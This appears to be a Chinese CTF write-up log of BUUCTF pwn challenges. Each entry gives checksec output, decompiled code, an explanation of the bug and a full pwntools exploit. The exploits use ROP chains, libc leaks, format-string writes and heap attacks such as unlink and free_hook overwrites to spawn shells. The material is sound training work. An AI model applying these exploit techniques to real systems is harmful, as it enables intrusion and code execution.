buu部分刷题记录
[HarekazeCTF2019]baby_rop
1.checksec()
1 2 3 4 5 Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
2.IDA
main
1 2 3 4 5 6 7 8 9 int __cdecl main (int argc, const char **argv, const char **envp) { char v4; system("echo -n \"What's your name? \"" ); __isoc99_scanf("%s" , &v4); printf ("Welcome to the Pwn World, %s!\n" , &v4); return 0 ; }
scanf的溢出,注意,要溢出的栈+8
3.EXP
1 2 3 4 5 6 7 8 9 10 from pwn import *p = remote("node3.buuoj.cn" ,29829 ) binsh_addr = 0x0601048 sys_addr = 0x00400490 pop_rdi = 0x0400683 payload = 'a' *24 + p64(pop_rdi) + p64(binsh_addr) + p64(sys_addr) + p64(0 ) p.sendlineafter("?" ,payload) p.interactive()
flag在home文件夹下的文件夹中
[HarekazeCTF2019]baby_rop2
环境:?
1.checksec
1 2 3 4 5 Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
2.IDA
main
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 int __cdecl main (int argc, const char **argv, const char **envp) { int v3; char buf[28 ]; int v6; setvbuf(stdout , 0LL , 2 , 0LL ); setvbuf(stdin , 0LL , 2 , 0LL ); printf ("What's your name? " , 0LL ); v3 = read(0 , buf, 0x100 uLL); v6 = v3; buf[v3 - 1 ] = 0 ; printf ("Welcome to the Pwn World again, %s!\n" , buf); return 0 ; }
printf输出read的真实地址,再ROP
3.EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 from pwn import *context.log_level = "debug" elf=ELF('./babyrop2' ) libc = ELF("./libc.so.6" ) p=remote('node3.buuoj.cn' ,28113 ) pop_rdi_ret=0x0000000000400733 pop_rsi_r15_ret=0x0000000000400731 format_addr=0x0000000000400790 printf_plt=elf.plt['printf' ] read_got=elf.got['read' ] main_plt=elf.sym['main' ] payload = "a" *0x28 payload += p64(pop_rdi_ret) + p64(format_addr) payload += p64(pop_rsi_r15_ret) + p64(read_got) + p64(0 ) payload += p64(printf_plt) + p64(main_plt) p.recvuntil("name? " ) p.sendline(payload) p.recvuntil("!\n" ) read_real = u64(p.recv(6 ).ljust(8 ,"\x00" )) libc_base = read_real - libc.sym['read' ] sys_addr = libc.sym["system" ] + libc_base binsh = libc.search("/bin/sh" ).next () + libc_base payload = 'a' *0x28 payload += p64(pop_rdi_ret) + p64(binsh) payload += p64(sys_addr) p.recvuntil("name? " ) p.sendline(payload) p.interactive()
flag 位置在 /home/babyrop2/
[OGeek2019]babyrop
1.checksec()
1 2 3 4 5 Arch: i386-32-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
2.IDA
main
1 2 3 4 5 6 7 8 9 10 11 12 13 14 int __cdecl main () { int buf; char v2; int fd; sub_80486BB(); fd = open("/dev/urandom" , 0 ); if ( fd > 0 ) read(fd, &buf, 4u ); v2 = sub_804871F(buf); sub_80487D0(v2); return 0 ; }
sub_804871F
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 int __cdecl sub_804871F (int a1) { size_t v1; char s; char buf[7 ]; unsigned __int8 v5; ssize_t v6; memset (&s, 0 , 0x20 u); memset (buf, 0 , 0x20 u); sprintf (&s, "%ld" , a1); v6 = read(0 , buf, 0x20 u); buf[v6 - 1 ] = 0 ; v1 = strlen (buf); if ( strncmp (buf, &s, v1) ) exit (0 ); write(1 , "Correct\n" , 8u ); return v5; }
sub_80487D0
1 2 3 4 5 6 7 8 9 10 11 ssize_t __cdecl sub_80487D0 (char a1) { ssize_t result; char buf; if ( a1 == 127 ) result = read(0 , &buf, 0xC8 u); else result = read(0 , &buf, a1); return result; }
sprintf:sprintf 返回以format为格式argument为内容组成的结果被写入string的字节数,结束字符‘\0’不计入内。即,如果“Hello”被写入空间足够大的string后,函数sprintf 返回5
也就是说第一个是’\0’可以绕过检测
string
1 2 3 4 5 6 7 LOAD:0804840B 00000006 C write LOAD:08048411 0000000F C __gmon_start__ LOAD:08048420 0000000A C GLIBC_2.0 .rodata:08048920 0000000A C Time's up .rodata:0804892E 00000009 C Correct\n .rodata:08048937 0000000D C /dev/urandom .eh_frame:080489C7 00000005 C ;*2$\"
没有/bin/sh,没有system函数,有libc,考虑write泄露libc
3.EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 from pwn import *p = remote("node3.buuoj.cn" ,28118 ) elf = ELF("./pwn" ) libc = ELF("./libc-2.23.so" ) write_plt = elf.plt["write" ] write_got = elf.got["write" ] main_addr = 0x08048825 libc_write = libc.sym["write" ] libc_system = libc.sym["system" ] binsh = 0x15902b payload_1 = '\x00' + '\xff' *7 paylaod_2 = 'a' *(0xe7 +4 ) + p32(write_plt) + p32(main_addr) paylaod_2 += p32(1 ) + p32(write_got) + p32(4 ) p.sendline(payload_1) p.recvuntil("Correct\n" ) p.sendline(paylaod_2) real_write = u32(p.recv(4 )) libc_base = real_write - libc_write real_system = libc_base + libc_system binsh = binsh + libc_base payload_1 = '\x00' + '\xff' *7 payload_3 = 'a' *(0xe7 +4 ) + p32(real_system) + p32(0 ) payload_3 += p32(binsh) p.sendline(payload_1) p.recvuntil("Correct\n" ) p.sendline(payload_3) p.interactive()
接受的4字节不需要在ljust对齐了
[ZJCTF 2019]EasyHeap
和hitocn trainning magic heap 一样
1.checksec
1 2 3 4 5 Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
2.IDA
1 2 3 4 5 6 7 8 9 10 11 12 def add(sz,text): p.sendlineafter(":","1") p.sendlineafter(":",str(sz)) p.sendlineafter(":",text) def edit(idx,text): p.sendlineafter(":","2") p.sendlineafter(":",str(idx)) p.sendlineafter(":",str(len(text))) p.sendlineafter(":",str(text)) def free(idx): p.sendlineafter(":","3") p.sendlineafter(":",str(idx))
back_door
1 2 3 4 int l33t() { return system("/bin/sh"); }
edit_heap
1 2 3 4 5 6 printf("Size of Heap : ", (char *)&v1 + 4, v1); read(0, (char *)&v1 + 4, 8uLL); v2 = atoi((const char *)&v1 + 4); printf("Content of heap : ", (char *)&v1 + 4, v1); read_input(heaparray[(signed int)v1], v2); return puts("Done !");
未控制边界,堆溢出
3.EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 from pwn import *context.log_level = "debug" elf = ELF("./magicheap" ) libc = ELF("/home/joe1sn/libc/64/libc-2.23.so" ) p = process("./magicheap" ) def add (sz,text ): p.sendlineafter(":" ,"1" ) p.sendlineafter(":" ,str (sz)) p.sendlineafter(":" ,text) def edit (idx,text ): p.sendlineafter(":" ,"2" ) p.sendlineafter(":" ,str (idx)) p.sendlineafter(":" ,str (len (text))) p.sendlineafter(":" ,str (text)) def free (idx ): p.sendlineafter(":" ,"3" ) p.sendlineafter(":" ,str (idx)) l33t = 0x6020A0 if __name__ == '__main__' : add(0x60 ,'aaaa' ) add(0x60 ,'aaaa' ) add(0x60 ,'aaaa' ) free(2 ) edit(1 ,'a' *0x60 +p64(0 )+p64(0x71 )+p64(l33t-0x13 )) add(0x60 ,'aaaa' ) add(0x60 ,'aaaa' ) edit(3 ,'a' *8 ) p.sendlineafter(":" ,str (0x1305 )) p.interactive()
为什么是p64(l33t-0x13)?
经过动态调试得知,该处是unsorted bin链表
为什么edit(3,’a’*8)?
覆写magic的值为‘0x6161616161616161’,从而进入后门
[ZJCTF 2019]Login
1.checksec
1 2 3 4 5 Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
2.IDA
main
1 2 3 4 5 6 7 8 9 10 11 12 13 printf ("Please enter username: " , "admin" ); User::read_name((User *)&login); printf ("Please enter password: " ); v3 = (void (*)(void ))main::{lambda(void )#1 }::operator void (*)(void ) const (); v7 = password_checker(v3); User::read_password((User *)&login); v4 = User::get_password((User *)&v8); v5 = User::get_password((User *)&login); password_checker(void (*)(void ))::{lambda(char const *,char const *)#1 }::operator() const ( (void (__fastcall ***)(char *))&v7, (const char *)v5, (const char *)v4); return 0 ;
password_checker
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 unsigned __int64 __fastcall password_checker (void (*)(void )) ::{lambda(char const *,char const *)#1 }::operator() const (void (__fastcall ***a1)(char *), const char *a2, const char *a3){ char s; unsigned __int64 v5; v5 = __readfsqword(0x28 u); if ( !strcmp (a2, a3) ) { snprintf (&s, 0x50 uLL, "Password accepted: %s\n" , &s); puts (&s); (**a1)(&s); } else { puts ("Nope!" ); } return __readfsqword(0x28 u) ^ v5; }
strcmp
遇见\x00
截断,不会判断之后的字符串,所以这里栈溢出
3.EXP
1 2 3 4 5 6 7 8 from pwn import *context.log_level = "debug" p = remote("node3.buuoj.cn" ,25930 ) back_door = 0x400E88 payload = '2jctf_pa5sw0rd' +"\x00" +'a' *20 +"\x00" +'a' *36 +p64(back_door) p.sendlineafter("username: " ,"admin" ) p.sendlineafter("password: " ,payload) p.interactive()
[第五空间2019 决赛]PWN5
环境:ubuntu16
1.checksec()
1 2 3 4 5 Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000)
2.IDA
main
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 int __cdecl main (int a1) { unsigned int v1; int fd; int result; int v4; unsigned int v5; char nptr; char buf; unsigned int v8; int *v9; v9 = &a1; v8 = __readgsdword(0x14 u); setvbuf(stdout , 0 , 2 , 0 ); v1 = time(0 ); srand(v1); fd = open("/dev/urandom" , 0 ); read(fd, &unk_804C044, 4u ); printf ("your name:" ); read(0 , &buf, 0x63 u); printf ("Hello," ); printf (&buf); printf ("your passwd:" ); read(0 , &nptr, 0xF u); if ( atoi(&nptr) == unk_804C044 ) { puts ("ok!!" ); system("/bin/sh" ); } else { puts ("fail" ); } result = 0 ; v5 = __readgsdword(0x14 u); v4 = v5 ^ v8; if ( v5 != v8 ) sub_80493D0(v4); return result; }
unk_804C044
1 2 3 4 5 6 7 8 9 10 bss:0804C040 byte_804C040 db ? ; DATA XREF: sub_8049140↑o .bss:0804C040 ; sub_8049140+5↑o ... .bss:0804C041 align 4 .bss:0804C044 randmon_num db ? ; ; DATA XREF: main+77↑o .bss:0804C044 ; main+108↑o .bss:0804C045 db ? ; .bss:0804C046 db ? ; .bss:0804C047 db ? ; .bss:0804C047 _bss ends .bss:0804C047
bss段的unk_804C044,是随机生成的,而我们猜对了这个参数,就可以执行system(“/bin/sh”),刚好字符串格式化漏洞可以实现改写内存地址的值
还有就是不要被开启的canary保护迷惑
3.计算偏移
1 2 3 root@joe1sn:~/download/BUUCTF/PWN5# ./pwn your name:aaaa-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p Hello,aaaa-0xffb44588-0x63-(nil)-(nil)-0x3-0xf7f8c950-0xc2-(nil)-0xc30000-0x61616161-0x2d70252d-0x252d7025-0x70252d70
第一个参数偏移量为10,通过%n修改
%x是吧数据以16进制输出
%n是把已经输出的字符数目输入传来参数的地址中,这就可以使我们修改数据
https://www.cnblogs.com/0xJDchen/p/5904816.html
4.EXP
1 2 3 4 5 6 7 8 9 from pwn import *p = remote("node3.buuoj.cn" ,26486 ) unk_804C044 = 0x0804C044 payload=fmtstr_payload(10 ,{unk_804C044:0x11111111 }) p.sendlineafter("your name:" ,payload) p.sendlineafter("your passwd" ,str (0x11111111 )) p.interactive()
0ctf_2016_warmup
1.checksec
1 2 3 4 5 Arch: i386-32-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
2.IDA
从汇编看有四个函数
Alarm 、Read 、Write 、sys_exit
关于 Alarm 有个特性:
如果有以前为进程登记的尚未超时的闹钟时钟,而且本次调用的seconds值是0,则取消以前的闹钟时钟,其余留值仍作为alarm函数的返回值
那么当 alarm 剩余 5 秒时,更具汇编fastcall,会将return值返回 eax 寄存器中,那么再次使用 sys_call 的时候就会 系统调用 open函数 ,从而读取到falg的值
3.EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 from pwn import *name = "warmup" elf = ELF(name) libc = ELF("/lib/i386-linux-gnu/libc.so.6" ) sh = 0 def main (ip,port,debug,mode ): global sh if debug==0 : context.log_level = "debug" else : pass if mode==0 : sh = process(name) else : sh = remote(ip,port) main_addr = 0x804815A write_addr = 0x8048135 read_addr = 0x804811D alarm_addr = 0x804810D data_seg = 0x80491BC sys_call = 0x804813A payload = 'a' *0x20 payload += p32(read_addr)+p32(main_addr) payload += p32(0 )+p32(data_seg)+p32(0x10 ) sh.sendafter("Welcome to 0CTF 2016!\n" ,payload) payload = 'flag\x00' sh.sendlineafter("Good Luck!\n" ,payload) sleep(5 ) payload = 'a' *0x20 payload += p32(alarm_addr)+p32(sys_call) payload += p32(main_addr)+p32(data_seg)+p32(0 ) sh.send(payload) payload = 'a' *0x20 payload += p32(read_addr)+p32(main_addr) payload += p32(3 )+p32(data_seg)+p32(0x50 ) sh.sendafter("Good Luck!\n" ,payload) payload = 'a' *0x20 payload += p32(write_addr)+p32(main_addr) payload += p32(1 )+p32(data_seg)+p32(0x50 ) sh.sendafter('Good Luck!\n' ,payload) sh.interactive() if __name__ == '__main__' : main("node3.buuoj.cn" ,"28290" ,1 ,1 )
axb_2019_fmt32
1.cheksec
1 2 3 4 5 Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
2 .IDA
main
1 2 3 4 5 6 7 8 9 10 11 12 while ( 1 ) { alarm(3u ); memset (&s, 0 , 0x101 u); memset (&format, 0 , 0x12C u); printf ("Please tell me:" ); read(0 , &s, 0x100 u); sprintf (&format, "Repeater:%s\n" , &s); if ( strlen (&format) > 0x10E ) break ; printf (&format); }
字符串格式化漏洞,但是没有后门,可以选择libc leak
+改printf为one gadget
3.EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 from pwn import *context.log_level = 'debug' elf = ELF("./axb_2019_fmt32" ) p = remote("node3.buuoj.cn" ,25318 ) libc = ELF("libc-2.23.so" ) p.sendlineafter('me:' ,"%9$sA" + p32(elf.got["printf" ])) p.recvuntil('Repeater:' ) printf_got = u32(p.recv(4 )) base = printf_got - libc.sym["printf" ] system = base + libc.sym["system" ] log.success("printf addr: %x" , printf_got) log.success("system addr: %x" , system) log.success("libc base: %x" , base) payload ='aaaaa' payload += fmtstr_payload(9 ,{0x804A014 : (0x3a80c +base)},write_size = "byte" ,numbwritten = 0xe ) p.sendlineafter("me:" ,payload) p.interactive()
axb_2019_heap
1.checksec
1 2 3 4 5 Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
2.IDA
banner
1 2 3 __isoc99_scanf("%s" , &format); printf ("Hello, " , &format); printf (&format);
存在一个字符串格式化漏洞
main
1 2 3 4 5 6 7 8 9 10 11 12 13 14 def add (idx,sz,text ): p.sendlineafter(">>" ,"1" ) p.sendlineafter(":" ,str (idx)) p.sendlineafter(":" ,str (sz)) p.sendlineafter(":" ,text) def delete (idx ): p.sendlineafter(">>" ,"2" ) p.sendlineafter(":" ,str (idx)) def edit (idx,text ): p.sendlineafter(">>" ,"4" ) p.sendlineafter(":" ,str (idx)) p.sendlineafter(":" ,text)
edit_note
1 2 3 4 5 6 if ( v1 <= 10 && v1 >= 0 && *((_QWORD *)¬e + 2 * v1) ) { puts ("Enter the content: " ); get_input(*((_QWORD *)¬e + 2 * v1), *((_DWORD *)¬e + 4 * v1 + 2 )); puts ("Done!" ); }
没有控制范围,堆溢出,利用unlink
+free_hook
来getshell
3.GDB
在printf处下断点fmtarg查看偏移
stack
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 gdb-peda$ stack 20 0000| 0x7fffffffde10 --> 0x0 0008| 0x7fffffffde18 --> 0x61616161ffffde30 0016| 0x7fffffffde20 ('a' <repeats 15 times>) 0024| 0x7fffffffde28 --> 0x61616161616161 ('aaaaaaa') 0032| 0x7fffffffde30 --> 0x7fffffffde50 --> 0x555555555200 (<__libc_csu_init>: push r15) 0040| 0x7fffffffde38 --> 0x555555555186 (<main+28>: mov eax,0x0) 0048| 0x7fffffffde40 --> 0x7fffffffdf30 --> 0x1 0056| 0x7fffffffde48 --> 0x0 0064| 0x7fffffffde50 --> 0x555555555200 (<__libc_csu_init>: push r15) 0072| 0x7fffffffde58 --> 0x7ffff7a2d830 (<__libc_start_main+240>: mov edi,eax) 0080| 0x7fffffffde60 --> 0x1 0088| 0x7fffffffde68 --> 0x7fffffffdf38 --> 0x7fffffffe2a7 ("/home/joe1sn/Documents/question/abx_2019_heap/axb_2019_heap") 0096| 0x7fffffffde70 --> 0x1f7ffcca0 0104| 0x7fffffffde78 --> 0x55555555516a (<main>: push rbp) 0112| 0x7fffffffde80 --> 0x0 0120| 0x7fffffffde88 --> 0xa45414fa738fad69 0128| 0x7fffffffde90 --> 0x555555554980 (<_start>: xor ebp,ebp) 0136| 0x7fffffffde98 --> 0x7fffffffdf30 --> 0x1 0144| 0x7fffffffdea0 --> 0x0 0152| 0x7fffffffdea8 --> 0x0
偏移
1 2 3 4 gdb-peda$ fmtarg 0x7fffffffde50 #base offset The index of format argument : 14 ("\%13$p") gdb-peda$ fmtarg 0x7fffffffde58 #libc offset The index of format argument : 15 ("\%14$p")
vmmap
1 2 3 4 0x0000555555554000 0x0000555555556000 r-xp /home/joe1sn/Documents/question/abx_2019_heap/axb_2019_heap ........... 0x00007ffff7a0d000 0x00007ffff7bcd000 r-xp /lib/x86_64-linux-gnu/libc-2.23.so ...........
1 2 3 4 >>> hex (0x7ffff7a2d830 - 0x00007ffff7a0d000 ) '0x20830' >>> hex (0x555555555200 - 0x0000555555554000 )'0x1200'
4.EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 from pwn import *elf = ELF("./axb_2019_heap" ) libc = ELF("/home/joe1sn/libc/64/libc-2.23.so" ) p = process("./axb_2019_heap" ) def add (idx,sz,text ): p.sendlineafter(">>" ,"1" ) p.sendlineafter(":" ,str (idx)) p.sendlineafter(":" ,str (sz)) p.sendlineafter(":" ,text) def delete (idx ): p.sendlineafter(">>" ,"2" ) p.sendlineafter(":" ,str (idx)) def edit (idx,text ): p.sendlineafter(">>" ,"4" ) p.sendlineafter(":" ,str (idx)) p.sendlineafter(":" ,text) if __name__ == '__main__' : p.sendlineafter(":" ,"%14$p-%15$p" ) p.recvuntil("Hello, " ) axb_leak = int (p.recv(14 ),16 ) p.recvuntil("-" ) libc_leak = int (p.recv(14 ),16 ) axb_base = axb_leak-0x1200 libc_base = libc_leak-0x20830 bss_addr = axb_base+0x202060 sys_addr = libc_base+libc.sym["system" ] free_addr = libc_base+libc.sym["__free_hook" ] success("axb base=>0x%x" ,axb_leak) success("libc base=>0x%x" ,libc_base) success("bss addr=>0x%x" ,bss_addr) success("system addr=>0x%x" ,sys_addr) success("free addr=>0x%x" ,free_addr) add(0 ,0x98 ,'0' *0x98 ) add(1 ,0x98 ,'1111' ) add(2 ,0x90 ,'2222' ) add(3 ,0x90 ,'/bin/sh\x00' ) payload=p64(0 )+p64(0x91 )+p64(bss_addr-0x18 )+p64(bss_addr-0x10 )+p64(0 )*14 +p64(0x90 )+'\xa0' edit(0 ,payload) delete(1 ) edit(0 ,p64(0 )*3 +p64(free_addr)+p64(0x10 )) edit(0 ,p64(sys_addr)) delete(3 ) p.interactive()
babyfengshui_33c3_2016
1.checksec
1 2 3 4 5 6 [*] '/home/joe1sn/Documents/ctf/questions/BUUCTF/pwn/babyfengshui_33c3_2016/babyfengshui' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000)
RELRO: Partial RELRO
可以改写GOT表
2.IDA
main
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 void __cdecl __noreturn main () { char v0; int v1; size_t v2; unsigned int v3; v3 = __readgsdword(0x14 u); setvbuf(stdin , 0 , 2 , 0 ); setvbuf(stdout , 0 , 2 , 0 ); alarm(0x14 u); while ( 1 ) { puts ("0: Add a user" ); puts ("1: Delete a user" ); puts ("2: Display a user" ); puts ("3: Update a user description" ); puts ("4: Exit" ); printf ("Action: " ); if ( __isoc99_scanf("%d" , &v1) == -1 ) break ; if ( !v1 ) { printf ("size of description: " ); __isoc99_scanf("%u%c" , &v2, &v0); add_usr(v2); } if ( v1 == 1 ) { printf ("index: " ); __isoc99_scanf("%d" , &v2); delet_usr(v2); } if ( v1 == 2 ) { printf ("index: " ); __isoc99_scanf("%d" , &v2); display(v2); } if ( v1 == 3 ) { printf ("index: " ); __isoc99_scanf("%d" , &v2); text_rewrite(v2); } if ( v1 == 4 ) { puts ("Bye" ); exit (0 ); } if ( (unsigned __int8)byte_804B069 > 0x31 u ) { puts ("maximum capacity exceeded, bye" ); exit (0 ); } } exit (1 ); }
add_usr
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 _DWORD *__cdecl add_usr (size_t a1) { void *s; _DWORD *v2; s = malloc (a1); memset (s, 0 , a1); v2 = malloc (0x80 u); memset (v2, 0 , 0x80 u); *v2 = s; ptr[(unsigned __int8)byte_804B069] = v2; printf ("name: " ); sub_80486BB((char *)ptr[(unsigned __int8)byte_804B069] + 4 , 0x7C ); text_rewrite(++byte_804B069 - 1 ); return v2; }
函数首先分配一个description的最大空间,让你后再分配给user结构体的空间,并将user放入store数组中,最后调用更新decription的函数
1 2 3 4 5 6 struct user { char *desc; char name[0x7c ]; }user; struct user *store [];
store放在0x804b080,当前user个数user_num放在0x804b069(byte_804B069)
https://blog.csdn.net/qinying001/article/details/104359401
可以从这篇文章看堆的情况,这里我大致画一下
1 2 3 4 add_user(0x80 , 0x80 , 'AAAA' ) add_user(0x80 , 0x80 , 'AAAA' ) add_user(0x8 , 0x8 , '/bin/sh\x00' )
1 2 3 4 5 6 7 ========================================= || chunk0_desc 0x80 | chunk0_node 0x80 || ========================================= || chunk1_desc 0x80 | chunk1_node 0x80 || ========================================= || chunk2_desc 0x8 | chunk2_node 0x8 || =========================================
1 2 3 4 5 6 7 ========================================= || freed_chunk 0x100 || ========================================= || chunk1_desc 0x80 | chunk1_node 0x80 || ========================================= || chunk2_desc 0x8 | chunk2_node 0x8 || =========================================
1 2 add_user(0x100 , 0x19c , "A" *(0x100 +0x80 +0x8 +0x10 ) + p32(elf.got['free' ]))
1 2 3 4 5 6 7 8 9 ======================= || chunk0_desc 0x100 || <--first fit规则符合 ========================================= || chunk1_desc 0x80 | chunk1_node 0x80 || ========================================= || chunk2_desc 0x8 | chunk2_node 0x8 || ========================================= || chunk0_node 0x80 || <--被重新分配 =======================
所以我们首先添加两个user,用于绕过检查。
第3个user存放"/bin/sh"。
然后删 掉第1个user,并创建一个description很长的user,其长度是第1个user的description长度加上user结构体长度。这时候检查就绕了,我们可以在添加新user的时候修改description大小,造成堆溢出,并修改第2个user的user>desc为[email protected] ,从而泄漏出libc地址。
得到system地址后,此时修 改第2个user的description,其实是修free的GOT,所以我们将其改成,[email protected] 。
最后删除第3个user,触发system(‘/bin/sh’),得到shell
------《ctf_all_in_one》
3.EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 from pwn import *context.log_level = 'debug' io = process('./babyfengshui' ,env={'LD_PRELOAD' :'./libc-2.23.so' }) elf = ELF('babyfengshui' ) libc = ELF('libc-2.23.so' ) def add_user (size, length, text ): io.sendlineafter("Action: " , '0' ) io.sendlineafter("description: " , str (size)) io.sendlineafter("name: " , 'AAAA' ) io.sendlineafter("length: " , str (length)) io.sendlineafter("text: " , text) def delete_user (idx ): io.sendlineafter("Action: " , '1' ) io.sendlineafter("index: " , str (idx)) def display_user (idx ): io.sendlineafter("Action: " , '2' ) io.sendlineafter("index: " , str (idx)) def update_desc (idx, length, text ): io.sendlineafter("Action: " , '3' ) io.sendlineafter("index: " , str (idx)) io.sendlineafter("length: " , str (length)) io.sendlineafter("text: " , text) def GDB (): context.terminal = ['tmux' ,'splitw' ,'-h' ] gdb.attach(io) if __name__ == "__main__" : add_user(0x80 , 0x80 , 'AAAA' ) add_user(0x80 , 0x80 , 'AAAA' ) add_user(0x8 , 0x8 , '/bin/sh\x00' ) delete_user(0 ) add_user(0x100 , 0x19c , "A" *(0x100 +0x80 +0x8 +0x10 ) + p32(elf.got['free' ])) display_user(1 ) io.recvuntil("description: " ) free_addr = u32(io.recvn(4 )) system_addr = free_addr - (libc.symbols['free' ] - libc.symbols['system' ]) log.info("system address: 0x%x" % system_addr) update_desc(1 , 0x4 , p32(system_addr)) delete_user(2 ) io.interactive()
babyheap_0ctf_2017
1.checksec
1 2 3 4 5 6 [*] '/home/joe1sn/Documents/ctf/questions/BUUCTF/pwn/babyheap_0ctf_2017/babyheap_0ctf_2017' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
2.IDA
main
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 __int64 __fastcall main (__int64 a1, char **a2, char **a3) { __int64 v4; v4 = sub_B70(a1, a2, a3); while ( 1 ) { menu(); input(); switch ( (unsigned __int64)off_14F4 ) { case 1uLL : Allocate(v4); break ; case 2uLL : Fill(v4); break ; case 3uLL : Free(v4); break ; case 4uLL : Dump(v4); break ; case 5uLL : return 0LL ; default : continue ; } } }
Fill
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 __int64 __fastcall Fill (__int64 a1) { __int64 result; int v2; int v3; printf ("Index: " ); result = input(); v2 = result; if ( (signed int )result >= 0 && (signed int )result <= 15 ) { result = *(unsigned int *)(24LL * (signed int )result + a1); if ( (_DWORD)result == 1 ) { printf ("Size: " ); result = input(); v3 = result; if ( (signed int )result > 0 ) { printf ("Content: " ); result = sub_11B2(*(_QWORD *)(24LL * v2 + a1 + 16 ), v3); } } } return result; }
没有检查堆是否溢出
Free
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 __int64 __fastcall Free (__int64 a1) { __int64 result; int v2; printf ("Index: " ); result = input(); v2 = result; if ( (signed int )result >= 0 && (signed int )result <= 15 ) { result = *(unsigned int *)(24LL * (signed int )result + a1); if ( (_DWORD)result == 1 ) { *(_DWORD *)(24LL * v2 + a1) = 0 ; *(_QWORD *)(24LL * v2 + a1 + 8 ) = 0LL ; free (*(void **)(24LL * v2 + a1 + 16 )); result = 24LL * v2 + a1; *(_QWORD *)(result + 16 ) = 0LL ; } } return result; }
没有system,leak libc + malloc_hook(无法修改GOT表)
one_gadget
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 0x45216 execve("/bin/sh", rsp+0x30, environ) constraints: rax == NULL 0x4526a execve("/bin/sh", rsp+0x30, environ) constraints: [rsp+0x30] == NULL 0xf02a4 execve("/bin/sh", rsp+0x50, environ) constraints: [rsp+0x50] == NULL 0xf1147 execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL
main_arena_offset
1 2 3 [+]libc version : glibc 2.23 [+]build ID : BuildID[sha1]=1ca54a6e0d76188105b12e49fe6b8019bf08803a [+]main_arena_offset : 0x3c4b20
3.GDB
3.1 libc leak
一般采取堆块重叠后,free()加入unsorted bin最后dump出unsorted bin的地址,根据libc中与main_arena的偏移得到libc_base
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 Allocate(0x60 ) Allocate(0x30 ) Fill(0 ,"a" *0x60 +p64(0 )+p64(0x71 )) <--修改idx=1 的chunks size Allocate(0x100 ) Fill(2 ,"a" *0x20 +p64(0 )+p64(0x71 )) <--idx=2 的BK_nextsize位修改 Free(1 ) <--加入fastbin链表(free()的还是0x30 大小) Allocate(0x60 ) Fill(1 ,"a" *0x30 +p64(0 )+p64(0x111 ))<--堆修复 Allocate(0x60 ) Free(2 ) GDB() leak = u64(Dump(1 )[-25 :-17 ]) print "leak:" +hex (leak)base=leak-0x3c4b78 malloc_hook=base+libc.sym['__malloc_hook' ] print hex (malloc_hook)
1 2 3 4 5 6 7 gef➤ heap chunks Chunk(addr=0x55754fefb010, size=0x70, flags=PREV_INUSE) [0x000055754fefb010 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa] Chunk(addr=0x55754fefb080, size=0x70, flags=PREV_INUSE) [0x000055754fefb080 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa] Chunk(addr=0x55754fefb0f0, size=0x70, flags=PREV_INUSE) [0x000055754fefb0f0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................]
